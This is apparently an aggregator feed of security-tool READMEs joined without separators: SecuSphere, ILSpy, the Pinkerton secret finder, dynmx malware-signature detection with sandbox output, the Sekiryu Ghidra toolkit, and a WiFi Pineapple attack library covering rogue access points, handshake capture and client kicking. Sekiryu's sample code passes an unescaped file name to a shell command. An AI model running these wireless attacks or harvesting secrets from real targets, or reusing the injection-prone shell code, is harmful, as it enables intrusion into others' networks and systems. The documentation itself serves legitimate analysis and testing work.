SecuSphere provides a comprehensive REST API and Web Console. This allows for greater flexibility and control over your security operations, ensuring you can automate and integrate SecuSphere into your existing systems and workflows as seamlessly as possible.

For more information please refer to our Official Rest API Documentation

Integration with Ticketing Systems

SecuSphere integrates with popular ticketing systems, enabling the creation and management of remediation tasks directly within the platform. This helps streamline your security operations and ensure faster resolution of identified vulnerabilities.

Security Training and Awareness

SecuSphere is not just a tool, it's a comprehensive solution that drives and accelerates the adoption of DevSecOps principles and practices. We provide security training and awareness for developers, security, and operations teams, and aid in establishing secure coding guidelines and best practices.

User Guide

Get started with SecuSphere using our comprehensive user guide.

 Installation

You can install SecuSphere by cloning the repository, setting up locally, or using Docker.

Clone the Repository

$ git clone https://github.com/SecurityUniversalOrg/SecuSphere.git

Setup

Local Setup

Navigate to the source directory and run the Python file:

$ cd src/
$ python run.py

Dockerfile Setup

Build and run the Dockerfile in the cicd directory:

$ # From repository root
$ docker build -t secusphere:latest .
$ docker run secusphere:latest

Docker Compose

Use Docker Compose in the ci_cd/iac/ directory:

$ cd ci_cd/iac/
$ docker-compose -f secusphere.yml up

Pull from Docker Hub

Pull the latest version of SecuSphere from Docker Hub and run it:

$ docker pull securityuniversal/secusphere:latest
$ docker run -p 8081:80 -d secusphere:latest

Feedback and Support

We value your feedback and are committed to providing the best possible experience with SecuSphere. If you encounter any issues or have suggestions for improvement, please create an issue in this repository or contact our support team.

Contributing

We welcome contributions to SecuSphere. If you're interested in improving SecuSphere or adding new features, please read our contributing guide.

ILSpy - .NET Decompiler With Support For PDB Generation, ReadyToRun, Metadata (and More) - Cross-Platform!

ILSpy is the open-source .NET assembly browser and decompiler.

Decompiler Frontends

Aside from the WPF UI ILSpy (downloadable via Releases, see also plugins), the following other frontends are available:

• Visual Studio 2022 ships with decompilation support for F12 enabled by default (using our engine v7.1).
• In Visual Studio 2019, you have to manually enable F12 support. Go to Tools / Options / Text Editor / C# / Advanced and check "Enable navigation to decompiled source"
• C# for Visual Studio Code ships with decompilation support as well. To enable, activate the setting "Enable Decompilation Support".
• Our Visual Studio 2022 extension marketplace
• Our Visual Studio 2017/2019 extension marketplace
• Our Visual Studio Code Extension repository | marketplace
• Our Linux/Mac/Windows ILSpy UI based on Avalonia - check out https://github.com/icsharpcode/AvaloniaILSpy
• Our ICSharpCode.Decompiler NuGet for your own projects
• Our dotnet tool for Linux/Mac/Windows - check out ILSpyCmd in this repository
• Our Linux/Mac/Windows PowerShell cmdlets in this repository

Features

• Decompilation to C# (check out the language support status)
• Whole-project decompilation
• Search for types/methods/properties (learn about the options)
• Hyperlink-based type/method/property navigation
• Base/Derived types navigation, history
• Assembly metadata explorer (feature walkthrough)
• BAML to XAML decompiler
• ReadyToRun binary support for .NET Core (see the tutorial)
• Extensible via plugins
• Additional features in DEBUG builds (for the devs)

License

ILSpy is distributed under the MIT License. Please see the About doc for details, as well as third party notices for included open-source libraries.

How to build

Windows:

• Make sure PowerShell (at least version) 5.0 is installed.
• Clone the ILSpy repository using git.
• Execute git submodule update --init --recursive to download the ILSpy-Tests submodule (used by some test cases).
• Install Visual Studio (documented version: 17.1). You can install the necessary components in one of 3 ways:
  • Follow Microsoft's instructions for importing a configuration, and import the .vsconfig file located at the root of the solution.
  • Alternatively, you can open the ILSpy solution (ILSpy.sln) and Visual Studio will prompt you to install the missing components.
  • Finally, you can manually install the necessary components via the Visual Studio Installer. The workloads/components are as follows:
    • Workload ".NET Desktop Development". This workload includes the .NET Framework 4.8 SDK and the .NET Framework 4.7.2 targeting pack, as well as the .NET 6.0 SDK and .NET 7.0 SDK (ILSpy.csproj targets .NET 6.0, but we have net472+net70 projects too). Note: The optional components of this workload are not required for ILSpy
    • Workload "Visual Studio extension development" (ILSpy.sln contains a VS extension project) Note: The optional components of this workload are not required for ILSpy
    • Individual Component "MSVC v143 - VS 2022 C++ x64/x86 build tools" (or similar)
      • The VC++ toolset is optional; if present it is used for editbin.exe to modify the stack size used by ILSpy.exe from 1MB to 16MB, because the decompiler makes heavy use of recursion, where small stack sizes lead to problems in very complex methods.
  • Open ILSpy.sln in Visual Studio.
    • NuGet package restore will automatically download further dependencies
    • Run project "ILSpy" for the ILSpy UI
    • Use the Visual Studio "Test Explorer" to see/run the tests
    • If you are only interested in a specific subset of ILSpy, you can also use
      • ILSpy.Wpf.slnf: for the ILSpy WPF frontend
      • ILSpy.XPlat.slnf: for the cross-platform CLI or PowerShell cmdlets
      • ILSpy.AddIn.slnf: for the Visual Studio plugin

Note: Visual Studio includes a version of the .NET SDK that is managed by the Visual Studio installer - once you update, it may get upgraded too. Please note that ILSpy is only compatible with the .NET 6.0 SDK and Visual Studio will refuse to load some projects in the solution (and unit tests will fail). If this problem occurs, please manually install the .NET 6.0 SDK from here.

Unix / Mac:

• Make sure .NET 7.0 SDK is installed.
• Make sure PowerShell is installed (formerly known as PowerShell Core)
• Clone the repository using git.
• Execute git submodule update --init --recursive to download the ILSpy-Tests submodule (used by some test cases).
• Use dotnet build ILSpy.XPlat.slnf to build the non-Windows flavors of ILSpy (.NET Core Global Tool and PowerShell Core).

How to contribute

• Report bugs
• If you want to contribute a pull request, please add https://github.com/icsharpcode/ILSpy/blob/master/BuildTools/pre-commit to your .git/hooks to prevent checking in code with wrong formatting. We use tabs and not spaces. The build server runs the same script, so any pull requests using wrong formatting will fail.

Current and past contributors.

Privacy Policy for ILSpy

ILSpy does not collect any personally identifiable information, nor does it send user files to 3rd party services. ILSpy does not use any APM (Application Performance Management) service to collect telemetry or metrics.

Pinkerton - An JavaScript File Crawler And Secret Finder Developed In Python

️️ Pinkerton is a Python tool created to crawl JavaScript files and search for secrets

Installing / Getting started

A quick guide of how to install and use Pinkerton.

1. Clone the repository with: git clone https://github.com/oppsec/pinkerton.git
2. Install the libraries with: pip3 install -r requirements.txt
3. Run Pinkerton with: python3 main.py -u https://example.com

Docker

If you want to use pinkerton in a Docker container, follow this commands:

1. Clone the repository - git clone https://github.com/oppsec/pinkerton.git
2. Build the image - sudo docker build -t pinkerton:latest .
3. Run container - sudo docker run pinkerton:latest

Pre-requisites

• Python 3 installed on your machine.
• Install the libraries with pip3 install -r requirements.txt

Features

• Works with ProxyChains
• Fast scan
• Low RAM and CPU usage
• Open-Source
• Python ❤️

To-Do

• Add more secrets regex pattern
• Improve JavaScript file extract function
• Improve pattern match system
• Add pass list file method

Contributing

A quick guide of how to contribute with the project.

1. Create a fork from Pinkerton repository
2. Clone the repository with git clone https://github.com/your/pinkerton.git
3. Type cd pinkerton/
4. Create a branch and make your changes
5. Commit and make a git push
6. Open a pull request

Credits

• m4ll0k (SecretFinder creator) for the regex patterns
• h33lit (Jubaer Alnazi) for the regex patterns
• zricethezav (GitLeaks creator) for the regex patterns

Warning

• The developer is not responsible for any malicious use of this tool.

Dynmx - Signature-based Detection Of Malware Features Based On Windows API Call Sequences

dynmx (spoken dynamics) is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces (so called function logs) originating from malware sandboxes. Hence, the data basis for the detection approach are not the malware samples themselves which are analyzed statically but data that is generated during a dynamic analysis of the malware sample in a malware sandbox. Currently, dynmx supports function logs of the following malware sandboxes:

• VMRay (function log, text-based and XML format)
• CAPEv2 (report.json file)
• Cuckoo (report.json file)

The detection approach is described in detail in the master thesis Signature-Based Detection of Behavioural Malware Features with Windows API Calls. This project is the prototype implementation of this approach and was developed in the course of the master thesis. The signatures are manually defined by malware analysts in the dynmx signature DSL and can be detected in function logs with the help of this tool. Features and syntax of the dynmx signature DSL can also be found in the master thesis. Furthermore, you can find sample dynmx signatures in the repository dynmx-signatures. In addition to detecting malware features based on API calls, dynmx can extract OS resources that are used by the malware (a so called Access Activity Model). These resources are extracted by examining the API calls and reconstructing operations on OS resources. Currently, OS resources of the categories filesystem, registry and network are considered in the model.

Example

In the following section, examples are shown for the detection of malware features and for the extraction of resources.

Detection

For this example, we choose the malware sample with the SHA-256 hash sum c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3. According to MalwareBazaar, the sample belongs to the malware family Amadey. There is a public VMRay analysis report of this sample available which also provides the function log traced by VMRay. This function log will be our data basis which we will use for the detection.

If we would like to know if the malware sample uses an injection technique called Process Hollowing, we can try to detect the following dynmx signature in the function log.

dynmx_signature:
  meta:
    name: process_hollow
    title: Process Hollowing
    description: Detection of Process hollowing malware feature
  detection:
    proc_hollow:
      # Create legit process in suspended mode
      - api_call: ["CreateProcess[AW]", "CreateProcessInternal[AW]"]
        with:
          - argument: "dwCreationFlags"
            operation: "flag is set"
            value: 0x4
          - return_value: "return"
            operation: "is not"
            value: 0
        store:
          - name: "hProcess"
            as: "proc_handle"
          - name: "hThread"
            as: "thread_handle"
      # Injection of malicious code into memory of previously created process
      - variant:
        - path:
          # Allocate memory with read, write, execute permission
          - api_call: ["VirtualAllocE   x", "VirtualAlloc", "(Nt|Zw)AllocateVirtualMemory"]
            with:
              - argument: ["hProcess", "ProcessHandle"]
                operation: "is"
                value: "$(proc_handle)"
              - argument: ["flProtect", "Protect"]
                operation: "is"
                value: 0x40
          - api_call: ["WriteProcessMemory"]
            with:
              - argument: "hProcess"
                operation: "is"
                value: "$(proc_handle)"
          - api_call: ["SetThreadContext", "(Nt|Zw)SetContextThread"]
            with:
              - argument: "hThread"
                operation: "is"
                value: "$(thread_handle)"
        - path:
          # Map memory section with read, write, execute permission
          - api_call: "(Nt|Zw)MapViewOfSection"
            with:
              - argument: "ProcessHandle"
                operation: "is"
                value: "$(proc_handle)"
              - argument: "AccessProtection"
                operation: "is"
                value: 0x40
      # Resume thread to run injected malicious code
      - api_call: ["ResumeThread", "(Nt|Zw)ResumeThread"]
        with:
          - argument: ["hThread", "ThreadHandle"]
            operation: "is"
            value: "$(thread_handle)"
  condition: proc_hollow as sequence

Based on the signature, we can find some DSL features that make dynmx powerful:

• Definition of API call sequences with alternative paths
• Matching of API call function names with regular expressions
• Matching of argument and return values with several operators
• Storage of variables, e.g. in order to track handles in the API call sequence
• Definition of a detection condition with boolean operators (AND, OR, NOT)

If we run dynmx with the signature shown above against the function of the sample c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3, we get the following output indicating that the signature was detected.

$ python3 dynmx.py detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


    |
  __|         _  _    _  _  _
 /  |  |   | / |/ |  / |/ |/ |  /\/
 \_/|_/ \_/|/  |  |_/  |  |  |_/ /\_/
          /|
          \|

 Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
process_hollow	c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt

We can get into more detail by setting the output format to detail. Now, we can see the exact API call sequence that was detected in the function log. Furthermore, we can see that the signature was detected in the process 51f0.exe.

$ python3 dynmx.py -f detail detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


    |
  __|         _  _    _  _  _
 /  |  |   | / |/ |  / |/ |/ |  /\/
 \_/|_/ \_/|/  |  |_/  |  |  |_/ /\_/
          /|
          \|

 Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
Function log: c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt
	Signature: process_hollow
		Process: 51f0.exe (PID: 3768)
		Number of Findings: 1
			Finding 0
				proc_hollow : API Call CreateProcessA (Function log line 20560, index 938)
				proc_hollow : API Call VirtualAllocEx (Function log line 20566, index 944)
				proc_hollow : API Call WriteProcessMemory (Function log line 20573, index    951)
				proc_hollow : API Call SetThreadContext (Function log line 20574, index 952)
				proc_hollow : API Call ResumeThread (Function log line 20575, index 953)

Resources

In order to extract the accessed OS resources from a function log, we can simply run the dynmx command resources against the function log. An example of the detailed output is shown below for the sample with the SHA-256 hash sum 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9. This is a CAPE sandbox report which is part of the Avast-CTU Public CAPEv2 Dataset.

$ python3 dynmx.py -f detail resources --input 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json


    |
  __|         _  _    _  _  _
 /  |  |   | / |/ |  / |/ |/ |  /\/
 \_/|_/ \_/|/  |  |_/  |  |  |_/ /\_/
          /|
          \|

 Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Processing function log(s) with the command 'resources'...

[+] Result
Function log: 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json (/Users/sijansen/Documents/dev/dynmx_flogs/cape/Public_Avast_CTU_CAPEv2_Dataset_Full/extracted/601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json)
	Process: 601941F00B194587C9E5.exe (PID: 2008)
		Filesystem:
			C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
			API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
			C:\Windows\SysWOW64\ntdll.dll (READ)
			USER32.dll (EXECUTE)
			KERNEL32.   dll (EXECUTE)
			C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
		Registry:
			HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
			HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
			HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
	Process: 601941F00B194587C9E5.exe (PID: 1800)
		Filesystem:
		   	C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
			API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
			C:\Windows\SysWOW64\ntdll.dll (READ)
			USER32.dll (EXECUTE)
			KERNEL32.dll (EXECUTE)
			[...]
			C:\Users\comp\AppData\Local\vscmouse (READ)
			C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe:Zone.Identifier (DELETE)
		Registry:
			HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
			[...]
	Process: vscmouse.exe (PID: 900)
		Filesystem:
			C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
			API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
			C:\Windows\SysWOW64\ntdll.dll (READ)
			USER32.dll (EXECUTE)
			KERNEL32.dll (EXECUTE)
			C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
		Registry:
			HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\C   urrentVersion\Setup (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
			HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
			HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
	Process: vscmouse.exe (PID: 3036)
		Filesystem:
			C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
			API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
			C:\Windows\SysWOW64\ntdll.dll (READ)
			USER32.dll (EXECUTE)
			KERNEL32.dll (EXECUTE)
			   C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
			C:\ (READ)
			C:\Windows\System32\uxtheme.dll (EXECUTE)
			dwmapi.dll (EXECUTE)
			advapi32.dll (EXECUTE)
			shell32.dll (EXECUTE)
			C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe (CREATE,READ)
			C:\Users\comp\AppData\Local\iproppass\iproppass.exe (DELETE)
			crypt32.dll (EXECUTE)
			urlmon.dll (EXECUTE)
			userenv.dll (EXECUTE)
			wininet.dll (EXECUTE)
			wtsapi32.dll (EXECUTE)
			CRYPTSP.dll (EXECUTE)
			CRYPTBASE.dll (EXECUTE)
			ole32.dll (EXECUTE)
			OLEAUT32.dll (EXECUTE)
			C:\Windows\SysWOW64\oleaut32.dll (EXECUTE)
			IPHLPAPI.DLL (EXECUTE)
			DHCPCSVC.DLL (EXECUTE)
			C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\ (CREATE)
			C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk (CREATE,READ)
		Registry:
			HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ   )
			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
			[...]
		Network:
			24.151.31.150:465 (READ)
			http://24.151.31.150:465 (READ,WRITE)
			107.10.49.252:80 (READ)
			http://107.10.49.252:80 (READ,WRITE)

Based on the shown output and the accessed resources, we can deduce some malware features:

• Within the process 601941F00B194587C9E5.exe (PID 1800), the Zone Identifier of the file C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe is deleted
• Some DLLs are loaded dynamically
• The process vscmouse.exe (PID: 3036) connects to the network endpoints http://24.151.31.150:465 and http://107.10.49.252:80

The accessed resources are interesting for identifying host- and network-based detection indicators. In addition, resources can be used in dynmx signatures. A popular example is the detection of persistence mechanisms in the Registry.

pip3 install -r requirements.txt

$ python3 dynmx.py -h
usage: dynmx.py [-h] [--format {overview,detail}] [--show-log] [--log LOG] [--log-level {debug,info,error}] [--worker N] {detect,check,convert,stats,resources} ...

Detect dynmx signatures in dynamic program execution information (function logs)

optional arguments:
  -h, --help            show this help message and exit
  --format {overview,detail}, -f {overview,detail}
                        Output format
  --show-log            Show all log output on stdout
  --log LOG, -l LOG     log file
  --log-level {debug,info,error}
                        Log level (default: info)
  --worker N, -w N      Number of workers to spawn (default: number of processors - 2)

sub-commands:
  task to perform

  {detect,check,convert,stats,resources}
    detect              Detects a dynmx signature
    check               Checks the syntax of dynmx signature(s)
    convert                Converts function logs to the dynmx generic function log format
    stats               Statistics of function logs
    resources           Resource activity derived from function log

$ python3 dynmx.py detect -h
usage: dynmx.py detect [-h] --sig SIG [SIG ...] --input INPUT [INPUT ...] [--recursive] [--json-result JSON_RESULT] [--runtime-result RUNTIME_RESULT] [--detect-all]

optional arguments:
  -h, --help            show this help message and exit
  --recursive, -r       Search for input files recursively
  --json-result JSON_RESULT
                        JSON formatted result file
  --runtime-result RUNTIME_RESULT
                        Runtime statistics file formatted in CSV
  --detect-all          Detect signature in all processes and do not stop after the first detection

required arguments:
  --sig SIG [SIG ...], -s SIG [SIG ...]
                        dynmx signature(s) to detect
  --input INPUT [INPUT ...], -i INPUT [INPUT ...]
                        Input files

    |
  __|         _  _    _  _  _
 /  |  |   | / |/ |  / |/ |/ |  /\/
 \_/|_/ \_/|/  |  |_/  |  |  |_/ /\_/
          /|
          \|

 Ver. 0.5 (PoC), by 0x534a


[+] Log output
2023-06-27 19:07:38,068+0000 [INFO] (__main__) [PID: 13315] []: Start of dynmx run
[...]
[+] End of log output

[+] Result
[...]

python3 dynmx.py -w 1 detect -i "flog.txt" -s dynmx_signature.yml

python3 dynmx.py convert -i "flog.txt" -o /tmp/

python3 dynmx.py check -s dynmx_signature.yml

python3 dynmx.py -f detail resources -i "flog.txt"

Sekiryu - Comprehensive Toolkit For Ghidra Headless

This Ghidra Toolkit is a comprehensive suite of tools designed to streamline and automate various tasks associated with running Ghidra in Headless mode. This toolkit provides a wide range of scripts that can be executed both inside and alongside Ghidra, enabling users to perform tasks such as Vulnerability Hunting, Pseudo-code Commenting with ChatGPT and Reporting with Data Visualization on the analyzed codebase. It allows user to load and save their own script and interract with the built-in API of the script.

Key Features

• Headless Mode Automation: The toolkit enables users to seamlessly launch and run Ghidra in Headless mode, allowing for automated and batch processing of code analysis tasks.

• Script Repository/Management: The toolkit includes a repository of pre-built scripts that can be executed within Ghidra. These scripts cover a variety of functionalities, empowering users to perform diverse analysis and manipulation tasks. It allows users to load and save their own scripts, providing flexibility and customization options for their specific analysis requirements. Users can easily manage and organize their script collection.

• Flexible Input Options: Users can utilize the toolkit to analyze individual files or entire folders containing multiple files. This flexibility enables efficient analysis of both small-scale and large-scale codebases.

Available scripts

• Vulnerability Hunting with pattern recognition: Leverage the toolkit's scripts to identify potential vulnerabilities within the codebase being analyzed. This helps security researchers and developers uncover security weaknesses and proactively address them.
• Vulnerability Hunting with SemGrep: Thanks to the security Researcher 0xdea and the rule-set they created, we can use simple rules and SemGrep to detect vulnerabilities in C/C++ pseudo code (their github: https://github.com/0xdea/semgrep-rules)
• Automatic Pseudo Code Generating: Automatically generate pseudo code within Ghidra's Headless mode. This feature assists in understanding and documenting the code logic without manual intervention.
• Pseudo-code Commenting with ChatGPT: Enhance the readability and understanding of the codebase by utilizing ChatGPT to generate human-like comments for pseudo-code snippets. This feature assists in documenting and explaining the code logic.
• Reporting and Data Visualization: Generate comprehensive reports with visualizations to summarize and present the analysis results effectively. The toolkit provides data visualization capabilities to aid in identifying patterns, dependencies, and anomalies in the codebase.

Pre-requisites

Before using this project, make sure you have the following software installed:

• Ghidra: You can download Ghidra from the National Security Agency's GitHub repository @ https://github.com/NationalSecurityAgency/ghidra
• Java: Make sure you have Java Development Kit (JDK) version 17 or higher installed. You can download it from the OpenJDK website @ https://openjdk.org/projects/jdk/17/
• BinExport (OPTIONNAL) Follow the instruction for installing the Ghidra Extension https://github.com/google/binexport
• SemGrep (OPTIONNAL) Follow the instruction detailed https://semgrep.dev/docs/getting-started/

Installation

• Install the pre-requisites mentionned above.
• Download Sekiryu release directly from Github or use: pip install sekiryu.

Usage

In order to use the script you can simply run it against a binary with the options that you want to execute.

• sekiryu [-F FILE][OPTIONS]

Please note that performing a binary analysis with Ghidra (or any other product) is a relatively slow process. Thus, expect the binary analysis to take several minutes depending on the host performance. If you run Sekiryu against a very large application or a large amount of binary files, be prepared to WAIT

Demos

• Find demo on www.bushido-sec.com

API

def exec_headless(file, script):
	"""
	Execute the headless analysis of ghidra
	"""
	path = ghidra_path + 'analyzeHeadless'
	# Setting variables
	tmp_folder = "/tmp/out"
	os.mkdir(tmp_folder)
	cmd = ' ' + tmp_folder + ' TMP_DIR -import'+ ' '+ file + ' '+ "-postscript "+ script +" -deleteProject"	

	# Running ghidra with specified file and script
	try:	
		p = subprocess.run([str(path + cmd)], shell=True, capture_output=True)
		os.rmdir(tmp_folder)

	except KeyError as e:
		print(e)
		os.rmdir(tmp_folder)

def yourfunction(file):
	try:
		# Setting script
		script = "modules/scripts/your_script.py"

		# Start the exec_headless function in a new thread
		thread = threading.Thread(target=exec_headless, args=(file, script))
		thread.start()
		thread.join()
	except Exception as e:
		print(str(e))

analysis_parser.add_argument('[-ShortCMD]', '[--LongCMD]', help="Your Help Message", action="store_true")

The xmlrpc.server module is not secure against maliciously constructed data. If you need to parse 
untrusted or unauthenticated data see XML vulnerabilities.

A lot of people encouraged me to push further on this tool and improve it. Without you all this project wouldn't have been
the same so it's time for a proper shout-out:
- @JeanBedoul @McProustinet @MilCashh @Aspeak @mrjay @Esbee|sandboxescaper @Rosen @Cyb3rops @RussianPanda @Dr4k0nia
- @Inversecos @Vs1m @djinn @corelanc0d3r @ramishaath @chompie1337
Thanks for your feedback, support, encouragement, test, ideas, time and care.

WiFi-Pineapple-MK7_REST-Client - WiFi Hacking Workflow With WiFi Pineapple Mark VII API

PINEAPPLE MARK VII REST CLIENT

• The leading rogue access point and WiFi pentest toolkit for close access operations.
• Passive and active attacks analyze vulnerable and misconfigured devices.
• https://hak5.org/collections/sale/products/wifi-pineapple

Author:: TW-D

Version:: 1.3.7

Copyright:: Copyright (c) 2022 TW-D

License:: Distributes under the same terms as Ruby

Doc:: https://hak5.github.io/mk7-docs/docs/rest/rest/

Requires:: Ruby >= 2.7.0p0 and Pineapple Mark VII >= 2.1.0-stable

Installation (Debian, Ubuntu, Raspbian)::

• sudo apt-get install build-essential curl g++ ruby ruby-dev

• sudo gem install net-ssh rest-client tty-progressbar

Description

Library allowing the automation of active or passive attack operations.

Note : "Issues" and "Pull Request" are welcome.

Payloads

In "./payloads/" directory, you will find :

Payload skeleton for development

#
# Title:            <TITLE>
#
# Description:      <DESCRIPTION>
#
#
# Author:           <AUTHOR>
# Version:          <VERSION>
# Category:         <CATEGORY>
#
# STATUS
# ======================
# <SHORT-DESCRIPTION> ... SETUP
# <SHORT-DESCRIPTION> ... ATTACK
# <SHORT-DESCRIPTION> ... SPECIAL
# <SHORT-DESCRIPTION> ... FINISH
# <SHORT-DESCRIPTION> ... CLEANUP
# <SHORT-DESCRIPTION> ... OFF
#

require_relative('<PATH-TO>/classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "<PINEAPPLE-IP-ADDRESS>"
system_authentication.port = 1471
system_authentication.mac = "<PINEAPPLE-MAC-ADDRESS>"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

    led =    PineappleMK7::System::LED.new

    # SETUP
    #
    led.setup

    #
    # [...]
    #

    # ATTACK
    #
    led.attack

    #
    # [...]
    #

    # SPECIAL
    #
    led.special

    #
    # [...]
    #

    # FINISH
    #
    led.finish

    #
    # [...]
    #

    # CLEANUP
    #
    led.cleanup

    #
    # [...]
    #

    # OFF
    #
    led.off

end

Note : Don't hesitate to take inspiration from the payloads directory.

System modules

Authentication accessors/method

system_authentication = PineappleMK7::System::Authentication.new

system_authentication.host = (string) "<PINEAPPLE-IP-ADDRESS>"
system_authentication.port = (integer) 1471
system_authentication.mac = (string) "<PINEAPPLE-MAC-ADDRESS>"
system_authentication.password = (string) "<ROOT-ACCOUNT-PASSWORD>"

system_authentication.login()

LED methods

led = PineappleMK7::System::LED.new

led.setup()
led.failed()
led.attack()
led.special()
led.cleanup()
led.finish()
led.off()

Pineapple Modules

Dashboard

Notifications method

dashboard_notifications = PineappleMK7::Modules::Dashboard::Notifications.new

dashboard_notifications.clear()

Stats method

dashboard_stats = PineappleMK7::Modules::Dashboard::Stats.new

dashboard_stats.output()

Logging

System method

logging_system = PineappleMK7::Modules::Logging::System.new

logging_system.output()

PineAP

Clients methods

pineap_clients = PineappleMK7::Modules::PineAP::Clients.new

pineap_clients.connected_clients()
pineap_clients.previous_clients()
pineap_clients.kick( (string) mac )
pineap_clients.clear_previous()

EvilWPA accessors/method

evil_wpa = PineappleMK7::Modules::PineAP::EvilWPA.new

evil_wpa.ssid = (string default:'PineAP_WPA')
evil_wpa.bssid = (string default:'00:13:37:BE:EF:00')
evil_wpa.auth = (string default:'psk2+ccmp')
evil_wpa.password = (string default:'pineapplesareyummy')
evil_wpa.hidden = (boolean default:false)
evil_wpa.enabled = (boolean default:false)
evil_wpa.capture_handshakes = (boolean default:false)

evil_wpa.save()

Filtering methods

pineap_filtering = PineappleMK7::Modules::PineAP::Filtering.new

pineap_filtering.client_filter( (string) 'allow' | 'deny' )
pineap_filtering.add_client( (string) mac )
pineap_filtering.clear_clients()
pineap_filtering.ssid_filter( (string) 'allow' | 'deny' )

Impersonation methods

pineap_impersonation = PineappleMK7::Modules::PineAP::Impersonation.new

pineap_impersonation.output()
pineap_impersonation.add_ssid( (string) ssid )
pineap_impersonation.clear_pool()

OpenAP method

open_ap = PineappleMK7::Modules::PineAP::OpenAP.new

open_ap.output()

Settings accessors/method

pineap_settings = PineappleMK7::Modules::PineAP::Settings.new

pineap_settings.enablePineAP = (boolean default:true)
pineap_settings.autostartPineAP = (boolean default:true)
pineap_settings.armedPineAP = (boolean default:false)
pineap_settings.ap_channel = (string default:'11')
pineap_settings.karma = (boolean default:false)
pineap_settings.logging = (boolean default:false)
pineap_settings.connect_notifications = (boolean default:false)
pineap_settings.disconnect_notifications = (boolean default:false)
pineap_settings.capture_ssids = (boolean default:false)
pineap_settings.beacon_responses = (boolean default:false)
pineap_settings.broadcast_ssid_pool = (boolean default:false)
pineap_settings.broadcast_ssid_pool_random = (boolean default:false)
pineap_settings.pineap_mac = (string default:system_authentication.mac)
pineap_settings.target_mac = (string default:'FF:FF:FF:FF:FF:FF')<   br/>pineap_settings.beacon_response_interval = (string default:'NORMAL')
pineap_settings.beacon_interval = (string default:'NORMAL')

pineap_settings.save()

Recon

Handshakes methods

recon_handshakes = PineappleMK7::Modules::Recon::Handshakes.new

recon_handshakes.start( (object) ap )
recon_handshakes.stop()
recon_handshakes.output()
